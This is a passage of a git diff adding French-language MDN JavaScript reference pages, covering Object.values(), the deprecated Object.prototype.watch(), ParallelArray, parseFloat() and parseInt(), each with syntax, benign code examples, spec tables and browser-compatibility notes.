+   <td>{{SpecName('ESDraft', '#sec-object.prototype.valueof', 'Object.prototype.valueOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.valueOf")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+ <li>{{jsxref("parseInt", "parseInt()")}}</li>
+ <li>{{jsxref("Symbol.toPrimitive")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/values/index.html b/files/fr/web/javascript/reference/objets_globaux/object/values/index.html
new file mode 100644
index 0000000000..f1630341fa
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/values/index.html
@@ -0,0 +1,109 @@
+---
+title: Object.values()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/values
+tags:
+  - ECMAScript2016
+  - JavaScript
+  - Méthode
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/values
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Object.values()</strong></code> renvoie un tableau contenant les valeurs des propriétés propres énumérables d'un objet dont l'ordre est le même que celui obtenu avec une boucle {{jsxref("Instructions/for...in", "for...in")}} (la boucle <code>for-in</code> est différente car elle parcourt également les propriétés héritées).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-values.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Object.values(<var>obj</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>L'objet dont on souhaite connaître les valeurs des propriétés propres énumérables.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau dont les éléments sont les valeurs des propriétés énumérables de l'objet passé en argument.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>Object.values()</code> renvoie un tableau dont les éléments sont les valeurs des propriétés énumérables directement rattachées à l'objet passé en argument. L'ordre du tableau est le même que celui obtenu lorsqu'on parcourt les propriétés manuellement.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var obj = { toto: "truc", machin: 42 };
+console.log(Object.values(obj)); // ['truc', 42]
+
+// un objet semblable à un tableau
+var obj = { 0: 'a', 1: 'b', 2: 'c' };
+console.log(Object.values(obj)); // ['a', 'b', 'c']
+
+// un objet semblable à un tableau
+// dont les clés sont ordonnées aléatoirement
+// lorsque des clés numériques sont utilisées, les valeurs sont
+// renvoyées selon l'ordre numérique des clés
+var un_obj = { 100: 'a', 2: 'b', 7: 'c' };
+console.log(Object.values(un_obj)); // ['b', 'c', 'a']
+
+// getToto est une propriété qui
+// n'est pas énumérable
+var mon_obj = Object.create({}, { getToto: { value: function() { return this.toto; } } });
+mon_obj.toto = "truc";
+console.log(Object.values(mon_obj)); // ['truc']
+
+// un argument de type primitif sera
+// converti en un objet
+console.log(Object.values("toto")); // ['t', 'o', 't', 'o']
+</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Afin d'ajouter le support pour <code>Object.values</code> dans des environnements plus anciens qui ne supportent pas la méthode nativement, vous pouvez utiliser une prothèse comme celle proposée sur le dépôt <a href="https://github.com/tc39/proposal-object-values-entries">tc39/proposal-object-values-entries</a> ou sur le dépôt <a href="https://github.com/es-shims/Object.values">es-shims/Object.values</a>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.values', 'Object.values')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES8', '#sec-object.values', 'Object.values')}}</td>
+   <td>{{Spec2('ES8')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.values")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Caractère_énumérable_des_propriétés_et_rattachement">Énumérabilité et rattachement des propriétés</a></li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Object.entries()")}}</li>
+ <li>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</li>
+ <li>{{jsxref("Object.create()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/watch/index.html b/files/fr/web/javascript/reference/objets_globaux/object/watch/index.html
new file mode 100644
index 0000000000..5a99dfe28f
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/watch/index.html
@@ -0,0 +1,150 @@
+---
+title: Object.prototype.watch()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/watch
+tags:
+  - JavaScript
+  - Méthode
+  - Non-standard
+  - Object
+  - Prototype
+  - Reference
+translation_of: Archive/Web/JavaScript/Object.watch
+---
+<div>{{JSRef}}{{non-standard_header}}</div>
+
+<div class="warning">
+<p><strong>Méthode dépréciée !</strong> Ne pas utiliser <code>watch()</code> et {{jsxref("Object.prototype.unwatch", "unwatch()")}}. En effet, ces deux méthodes n'ont été implémentées qu'avec Gecko et sont dépréciées. <strong>Elle sont retirées avec à partir de Firefox 58</strong>. De plus, l'ajout de points d'arrêts conditionnels a de graves impacts sur les performances, notamment sur les objets globaux comme <code>window</code>. Il est conseillé d'utiliser les <a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_objets#D.C3.A9finir_des_getters_et_setters">accesseurs et mutateurs</a> ou <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Proxy">les proxies</a>. Attention également à ne pas confondre {{jsxref("Object.prototype.watch", "Object.watch")}} et {{jsxref("Object.prototype.observe", "Object.observe")}}.</p>
+</div>
+
+<p>La méthode <code><strong>watch()</strong></code> permet d'appeler une fonction lorsqu'une propriété est affectée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>obj</var>.watch(<var>prop</var>, <var>handler</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>Le nom d'une propriété d'un objet dont on souhaite surveiller les changements.</dd>
+ <dt><code>handler</code></dt>
+ <dd>Une fonction à appeler quand la valeur de la propriété est modifiée.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode permet de surveiller les assignations à une propriété appelée <code>prop</code> de l'objet courant, et appelle <code>handler(prop, ancienneValeur, nouvelleValeur)</code> dès que <code>prop</code> est définie et enregistre la valeur de retour dans cette propriété. Un tel point de surveillance peut filtrer (ou rendre null) l'assignation de la valeur, en renvoyant une valeur <code>nouvelleValeur</code> modifiée (ou en renvoyant <code>ancienneValeur</code>).</p>
+
+<p>Si une propriété pour laquelle un point de surveillance avait été défini, celui-ci ne disparait pas. Si la propriété est recréée par la suite, le point de surveillance sera toujours en activité.</p>
+
+<p>Pour retirer un point de surveillance, utilisez la méthode {{jsxref("Object.unwatch", "unwatch()")}}/ Par défaut, la méthode <code>watch</code> est héritée par tous les objets descendant d'<code>Object</code>.</p>
+
+<p>Le débogueur JavaScript a des fonctionnalités similaires à celles fournies par cette méthode, ainsi que d'autres options de débogage. Pour en savoir plus, voir <a href="/fr/docs/Outils/Debugger">le débogueur JavaScript</a>.</p>
+
+<p>Dans Firefox, <code>handler</code> n'est appelé que pour les assignations par script, pas depuis du code natif. Par exemple, <code>window.watch('location', myHandler)</code> n'appellera pas <code>myHandler</code> si l'utilisateur clique sur un lien vers une cible dans le document courant. Par contre, <code>window.location += '#myAnchor'</code> appellera <code>myHandler</code> :</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_watch_et_unwatch">Utiliser <code>watch</code> et <code>unwatch</code></h3>
+
+<pre class="brush:js">var o = {p:1};
+o.watch("p",
+   function (id, oldval, newval) {
+      console.log("o." + id + " a été modifiée de " + oldval + " en " + newval);
+      return newval;
+   });
+
+o.p = 2;
+o.p = 3;
+delete o.p;
+o.p = 4;
+
+o.unwatch('p');
+o.p = 5;
+</pre>
+
+<p>Ce script affiche la sortie suivante :</p>
+
+<pre class="eval">o.p a été modifiée de 1 en 2
+o.p a été modifiée de 2 en 3
+o.p a été modifiée de undefined en 4
+</pre>
+
+<h3 id="Utiliser_watch_pour_valider_les_propriétés_d'un_objet">Utiliser <code>watch</code> pour valider les propriétés d'un objet</h3>
+
+<p>La méthode <code>watch</code> peut être utilisée pour tester les assignations d'une propriété d'objet. Cet exemple s'assure que toute Personne a un nom valide et un age entre 0 et 200.</p>
+
+<pre class="brush: js">Personne = function(name,age) {
+  this.watch("age", Personne.prototype._isValidAssignment);
+  this.watch("nom", Personne.prototype._isValidAssignment);
+  this.nom = nom;
+  this.age = age;
+}
+
+Personne.prototype.toString = function() {
+  return this.nom + ", " + this.age;
+};
+
+Personne.prototype._isValidAssignment = function(id, oldval, newval) {
+  if (id == "nom" &amp;&amp; (!newval || newval.length &gt; 30)) {
+    throw new RangeError("nom invalide pour " + this);
+  }
+  if (id == "age"  &amp;&amp; (newval &lt; 0 || newval &gt; 200)) {
+    throw new RangeError("âge invalide pour " + this);
+  }
+  return newval;
+}
+
+will = new Personne("Will", 29);
+console.log(will);   // Will, 29
+
+try {
+  will.nom = "";
+} catch (e) {
+  console.log(e);
+}
+
+try {
+  will.age = -4;
+} catch (e) {
+  console.log(e);
+}
+</pre>
+
+<p>Ce script affichera la sortie suivante :</p>
+
+<pre class="eval">Will, 29
+RangeError: nom invalide pour Will, 29
+RangeError: âge invalide pour Will, 29
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette méthode ne fait partie d'aucune spécification. Elle a été implémentée avec JavaScript 1.2.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.watch")}}</p>
+</div>
+
+<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2>
+
+<ul>
+ <li>Cette <a class="external link-https" href="https://gist.github.com/384583">prothèse d'émulation</a> (<em>polyfill</em>) permet d'utiliser <code>watch</code> dans les différents navigateurs compatibles avec ES5</li>
+ <li>Utiliser un objet {{jsxref("Proxy")}} permet d'avoir accès à plus d'informations, de façon plus profonde sur la manière dont les propriétés sont changées.</li>
+ <li>Appeler <code>watch()</code> sur un objet {{domxref("Document")}} renvoyait une exception {{jsxref("TypeError")}} depuis Firefox 23 ({{bug(903332)}}). Cette régression a été résolue avec Firefox 27.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.unwatch()")}}</li>
+ <li>{{jsxref("Object.observe()")}}{{obsolete_inline}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/parallelarray/index.html b/files/fr/web/javascript/reference/objets_globaux/parallelarray/index.html
new file mode 100644
index 0000000000..2ab4d8bb74
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/parallelarray/index.html
@@ -0,0 +1,56 @@
+---
+title: ParallelArray
+slug: Web/JavaScript/Reference/Objets_globaux/ParallelArray
+tags:
+  - JavaScript
+  - Obsolete
+  - ParallelArray
+  - Reference
+translation_of: Archive/Web/ParallelArray
+---
+<div>{{jsSidebar("Objects")}}{{ obsolete_header}}</div>
+
+<p>Le but de <strong><code>ParallelArray</code></strong> est de disposer de parallélisme pour les données des applications web. Les fonctions disponibles via cette objet tenteront une exécution en parallèle avant de traiter l'exécution de façon séquentielle si besoin. Pour être sûr que votre code puisse être exécuté en parallèle, il est conseillé de se limiter aux fonctions JavaScript parallélisables <a href="http://smallcultfollowing.com/babysteps/blog/2013/04/30/parallelizable-javascript-subset/">supportées par Firefox</a> (article en anglais).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new ParallelArray()
+new ParallelArray([element0, element1, ...])
+new ParallelArray(arrayLength, elementalFunction)</pre>
+
+<h2 id="Instances_de_ParallelArray">Instances de <code>ParallelArray</code></h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<dl>
+ <dt>length</dt>
+ <dd>Indique le nombre d'éléments dans l'objet <code>ParallelArray</code>.</dd>
+</dl>
+
+<h3 id="Méthodes">Méthodes</h3>
+
+<dl>
+ <dt>map</dt>
+ <dt>reduce</dt>
+ <dt>scan</dt>
+ <dt>scatter</dt>
+ <dt>filter</dt>
+ <dt>flatten</dt>
+ <dt>partition</dt>
+ <dt>get</dt>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_map_en_parallèle">Utilisation de <code>map</code> en parallèle</h3>
+
+<pre class="brush: js">var p = new ParallelArray([0, 1, 2, 3, 4]);
+var m = p.map(function (v) {
+  return v + 1;
+});</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="http://wiki.ecmascript.org/doku.php?id=strawman:data_parallelism">RiverTrail l'API Ecmascript pour le parallélisme</a> (en anglais)</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/parsefloat/index.html b/files/fr/web/javascript/reference/objets_globaux/parsefloat/index.html
new file mode 100644
index 0000000000..aea43383fb
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/parsefloat/index.html
@@ -0,0 +1,150 @@
+---
+title: parseFloat()
+slug: Web/JavaScript/Reference/Objets_globaux/parseFloat
+tags:
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/parseFloat
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>La fonction <code><strong>parseFloat()</strong></code> permet de transformer une chaîne de caractères en un nombre flottant après avoir analysée celle-ci (<em>parsing</em>).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-parsefloat.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">parseFloat(<var>string</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>string</code></dt>
+ <dd>Une chaîne de caractères la valeur qu'on souhaite analyser et transformer en un nombre flottant.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nombre flottant obtenu à partir de l'analyse de la chaîne de caractères. Si le premier caractère ne permet pas d'obtenir un nombre, ce sera la valeur {{jsxref("NaN")}} qui sera renvoyée.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>parseFloat</code> est une fonction non associée à un objet, disponible au plus haut niveau de l'environnement JavaScript.</p>
+
+<p><code>parseFloat</code> analyse l'argument fourni sous la forme d'une chaîne de caractères et renvoie un nombre flottant correspondant. L'analyse de la chaîne s'arrête dès qu'un caractère qui n'est pas +,-, un chiffre, un point ou un exposant. Ce caractère, ainsi que les suivants, seront ignorés. Les blancs en début et en fin de chaîne sont autorisés.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Si on souhaite avoir un outil de conversion plus strict, on pourra utiliser {{jsxref("Number", "Number(<em>valeur</em>)")}} qui utilise une analyse plus stricte et qui fournit {{jsxref("NaN")}} pour les valeurs qui contiennent des caractères invalides, quelle que soit leur position.</p>
+</div>
+
+<p>Si le premier caractère de la chaîne ne peut pas être converti en un nombre, <code>parseFloat()</code> renverra <code>NaN</code>.</p>
+
+<p>Pour des raisons arithmétiques, la valeur <code>NaN</code> n'est jamais un nombre, quelle que soit la base considérée. On peut utiliser la méthode {{jsxref("isNaN")}} afin de déterminer si le résultat obtenu par <code>parseFloat()</code> est <code>NaN</code>. Si <code>NaN</code> est passé comme valeur lors d'opérations arithmétiques, ces opérations renverront également <code>NaN</code> comme résultat.</p>
+
+<p><code>parseFloat()</code> peut également analyser et renvoyer la valeur {{jsxref("Infinity")}} qui représente l'infini numérique. Ici, on pourra utiliser la fonction {{jsxref("isFinite()")}} afin de déterminer si le résultat obtenu est un nombre fini (c'est-à-dire qui n'est ni <code>Infinity</code>, ni <code>-Infinity</code>, ni <code>NaN</code>).</p>
+
+<p><code>parseFloat()</code> peut également analyser un objet si celui-ci implémente la méthode <code>toString()</code> ou <code>valueOf()</code>. La valeur renvoyée par <code>parseFloat()</code> le résultat de <code>parseFloat()</code> appliqué à la valeur renvoyée par <code>toString()</code> ou <code>valueOf()</code> .</p>
+
+<p><code>parseFloat()</code> convertit une valeur {{jsxref("BigInt")}} en une valeur {{jsxref("Number")}} et perd ainsi en précision car toutes les valeurs <code>BigInt</code> ne sont pas représentables en <code>Number</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_parseFloat()_pour_renvoyer_un_nombre">Utiliser <code>parseFloat()</code> pour renvoyer un nombre</h3>
+
+<p>Les instructions suivantes renvoient toutes la valeur <strong>3.14</strong> :</p>
+
+<pre class="brush:js">parseFloat("3.14");
+parseFloat("314e-2");
+parseFloat("0.0314E+2");
+parseFloat("3.14d'autres caractères non numériques");
+
+var titi = Object.create(null);
+titi.valueOf = function () { return "3.14"; };
+parseFloat(titi);​​​​​
+</pre>
+
+<h3 id="Utiliser_parseFloat()_pour_renvoyer_NaN">Utiliser <code>parseFloat()</code> pour renvoyer <code>NaN</code></h3>
+
+<p>Dans cet exemple, le résultat obtenu est {{jsxref("<code>NaN</code>")}} :</p>
+
+<pre class="brush: js">parseFloat("FF2");
+</pre>
+
+<h3 id="parseFloat_et_BigInt"><code>parseFloat</code> et <code>BigInt</code></h3>
+
+<pre class="brush: js">parseFloat(900719925474099267n);
+// 900719925474099300</pre>
+
+<h3 id="Une_fonction_plus_stricte">Une fonction plus stricte</h3>
+
+<p>Si on souhaite éviter de convertir des chaînes qui contiennent des caractères non numériques, on pourra utiliser une expression rationnelle pour filtrer ces valeurs (et obtenir une fonction plus stricte que <code>parseFloat()</code>) :</p>
+
+<pre class="brush: js">var filterFloat = function (value) {
+    if (/^(\-|\+)?([0-9]+(\.[0-9]+)?|Infinity)$/
+      .test(value))
+      return Number(value);
+  return NaN;
+}
+
+console.log(filterFloat('421'));               // 421
+console.log(filterFloat('-421'));              // -421
+console.log(filterFloat('+421'));              // 421
+console.log(filterFloat('Infinity'));          // Infinity
+console.log(filterFloat('1.61803398875'));     // 1.61803398875
+console.log(filterFloat('421e+0'));            // NaN
+console.log(filterFloat('421hop'));            // NaN
+console.log(filterFloat('hop1.61803398875'));  // NaN
+
+</pre>
+
+<p>Attention : ce code n'est qu'un exemple et renverra <code>NaN</code> pour des valeurs pourtant valides comme <code>1.</code> ou <code>.5</code>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.2.3', 'parseFloat')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-parsefloat-string', 'parseFloat')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-parsefloat-string', 'parseFloat')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.parseFloat")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("parseInt", "parseInt()")}}</li>
+ <li>{{jsxref("Number.parseFloat()")}}</li>
+ <li>{{jsxref("Number.parseInt()")}}</li>
+ <li>{{jsxref("Number.toFixed()")}}</li>
+ <li>{{jsxref("isNaN", "isNaN()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/parseint/index.html b/files/fr/web/javascript/reference/objets_globaux/parseint/index.html
new file mode 100644
index 0000000000..250e4edb78
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/parseint/index.html
@@ -0,0 +1,204 @@
+---
+title: parseInt()
+slug: Web/JavaScript/Reference/Objets_globaux/parseInt
+tags:
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/parseInt
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>La fonction <code><strong>parseInt()</strong></code> analyse une chaîne de caractère fournie en argument et renvoie un entier exprimé dans une base donnée.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-parseint.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="blockIndicator warning">
+<p><strong>Attention !</strong> On veillera à bien utiliser le second paramètre de la fonction pour éviter toute ambiguité sur la base numérique utilisée.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">parseInt(<var>string</var>, <var>base</var>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>string</code></dt>
+ <dd>La valeur qu'on souhaite analyser et convertir. Si l'argument <code>string</code> n'est pas une chaîne de caractères, elle sera convertie en une chaîne (grâce à l'opération abstraite <code><a href="https://www.ecma-international.org/ecma-262/6.0/#sec-tostring">ToString</a></code>) . Les blancs contenus au début de l'argument sont ignorés.</dd>
+ <dt><code>base</code></dt>
+ <dd>
+ <p>Un entier compris entre 2 et 36 qui représente la <a href="https://fr.wikipedia.org/wiki/Base_%28arithm%C3%A9tique%29">base</a> utilisée pour la valeur représentée dans la chaîne. La base communément utilisée est la base décimale et on utilisera donc <code>10</code> dans ce cas pour ce paramètre.</p>
+
+ <p class="warning"><strong>Attention ! </strong>La base par défaut n'est pas 10. Ce paramètre doit toujours être utilisé, en effet s'il n'est pas spécifié, le comportement de la fonction n'est pas garanti et peut varier d'une plate-forme à une autre.</p>
+
+ <p>Voir cependant la description ci-après qui explicite le comportement par défaut attendu.</p>
+ </dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un entier obtenu à partir de l'analyse de la chaîne de caractères. Si le premier caractère ne permet d'obtenir un nombre d'après la base fournie, ce sera {{jsxref("NaN")}} qui sera renvoyé.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La fonction <code>parseInt()</code> convertit le premier argument en une chaîne, l'analyse et renvoie un entier ou <code>NaN</code>. Si la valeur renvoyée n'est pas <code>NaN</code>, ce sera l'entier représentant le nombre contenu dans la chaîne dans la base donnée. Une base 10 est utilisée pour la base décimale, 8 pour la base octale, 16 pour la base hexadécimale. Pour les bases supérieures à <code>10</code>, les lettres de l'alphabet latin seront utilisées pour représenter les chiffres supérieurs à <code>9</code>. Par exemple, pour la base hexadécimale, on utilisera les lettres <code>A</code> à <code>F</code>.</p>
+
+<p>Si, lors de l'analyse de la chaîne, <code>parseInt()</code> rencontre un caractère qui n'est pas un chiffre dans la base donnée, ce caractère, ainsi que les suivants seront ignorés. <code>parseInt()</code> tronque les nombres fournies en valeurs entières (attention donc lorsque les chaînes utilisent une notation scientifique : "4e2" donnera la valeur 4 en base 10 et pas 400). Les espaces en début et en fin de chaîne sont autorisés.</p>
+
+<p>Si la base fournie vaut {{jsxref("undefined")}} ou 0 (ou si elle n'est pas utilisée comme paramètre), le moteur JavaScript procèdera comme suit :</p>
+
+<ul>
+ <li>Si l'argument <code>string</code> commence avec "0x" ou "0X", la base considérée sera la base 16 (hexadécimale) et le reste de la chaîne sera analysé et converti.</li>
+ <li>Si l'argument <code>string</code> commence avec "0", la base considérée sera la base 8 (octale) ou la base 10 (décimale). La base exacte qui sera choisie dépendra de l'implémentation. ECMAScript 5 définit que la base 10 doit être utilisée. Cependant, cela n'est pas supporté par tous les navigateurs. C'est pour cette raison qu'il faut <strong>toujours spécifier une base lorsqu'on utilise <code>parseInt()</code></strong>.</li>
+ <li>Si l'argument <code>string</code> commence avec une autre valeur, la base considérée sera la base 10.</li>
+</ul>
+
+<p>Si le premier caractère de la chaîne de caractères ne peut pas être converti, <code>parseInt()</code> renverra <code>NaN</code>.</p>
+
+<p>Pour des raisons arithmétiques, la valeur {{jsxref("NaN")}} n'est un nombre pour aucune base. La fonction {{jsxref("Objets_globaux/isNaN", "isNaN()")}} peut être utilisée pour déterminer si le résultat obtenu par <code>parseInt()</code> vaut <code>NaN</code>. Si <code>NaN</code> est utilisé dans une opération arithmétique, le résultat de cette opération sera aussi <code>NaN</code> (on dit que <code>NaN</code> est une valeur « toxique »).</p>
+
+<p>Pour convertir un nombre en une chaîne de caractères dans une base donnée, on utilisera <code>monEntier.toString(base)</code>.</p>
+
+<p><code>parseInt</code> convertira les valeurs {{jsxref("BigInt")}} en {{jsxref("Number")}} et de la précision sera perdue lors de ce traitement.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Les exemples suivants renvoient tous <strong><code>15</code></strong> :</p>
+
+<pre class="brush: js">parseInt("0xF", 16);
+parseInt("F", 16);
+parseInt("17", 8);
+parseInt(021, 8);
+parseInt("015", 10); // attention parseInt(015, 10); renvoie 13
+parseInt(15.99, 10);
+parseInt("15,123", 10);
+parseInt("FXX123", 16);
+parseInt("1111", 2);
+parseInt("15*3", 10);
+parseInt("15e2", 10);
+parseInt("15px", 10);
+parseInt("12", 13);
+</pre>
+
+<p>Les exemples suivants renvoient <strong><code>NaN</code></strong> :</p>
+
+<pre class="brush: js">parseInt("Coucou", 8); // Ce sont des lettres et pas des chiffres
+parseInt("546", 2);    // Ces chiffres ne sont pas valides pour une représentation
+                       // binaire
+</pre>
+
+<p>Les exemples suivants renvoient tous <strong><code>-15</code></strong> :</p>
+
+<pre class="brush: js">parseInt("-F", 16);
+parseInt("-0F", 16);
+parseInt("-0XF", 16);
+parseInt(-15.1, 10)
+parseInt("-17", 8);
+parseInt("-15", 10);
+parseInt("-1111", 2);
+parseInt("-15e1", 10);
+parseInt("-12", 13);
+</pre>
+
+<p>Les exemples suivants renvoient tous <code><strong>4</strong></code> :</p>
+
+<pre class="brush: js">parseInt("4e2", 10);
+parseInt("4.7", 10);</pre>
+
+<p>L'exemple suivant renvoie  <strong><code>224</code></strong> :</p>
+
+<pre class="brush: js">parseInt("0e0", 16);
+</pre>
+
+<p>On perdra en précision si on manipule un grand entier ({{jsxref("BigInt")}}) :</p>
+
+<pre class="brush: js">parseInt(900719925474099267n); // 900719925474099300</pre>
+
+<h2 id="Interpréter_une_base_octale_quand_aucun_paramètre_de_base_n'est_fourni">Interpréter une base octale quand aucun paramètre de base n'est fourni</h2>
+
+<p>Bien que cela soit fortement déconseillé par ECMAScript 3 et que cela soit interdit par ECMAScript 5, de nombreuses implémentations interprètent une chaîne numérique qui commence par <code>0</code> comme une valeur exprimée dans la base octale. Les instructions qui suivent peuvent avoir un résultat octal ou décimal selon les implémentations. <strong>Pour cette raison, il faut toujours définir une base lorsqu'on utilise cette fonction.</strong></p>
+
+<pre class="brush: js">parseInt("0e0"); // 0
+parseInt("08");  // 0, '8' n'est pas un chiffre octal.
+</pre>
+
+<h3 id="ECMAScript_5_supprime_l'interprétation_octale">ECMAScript 5 supprime l'interprétation octale</h3>
+
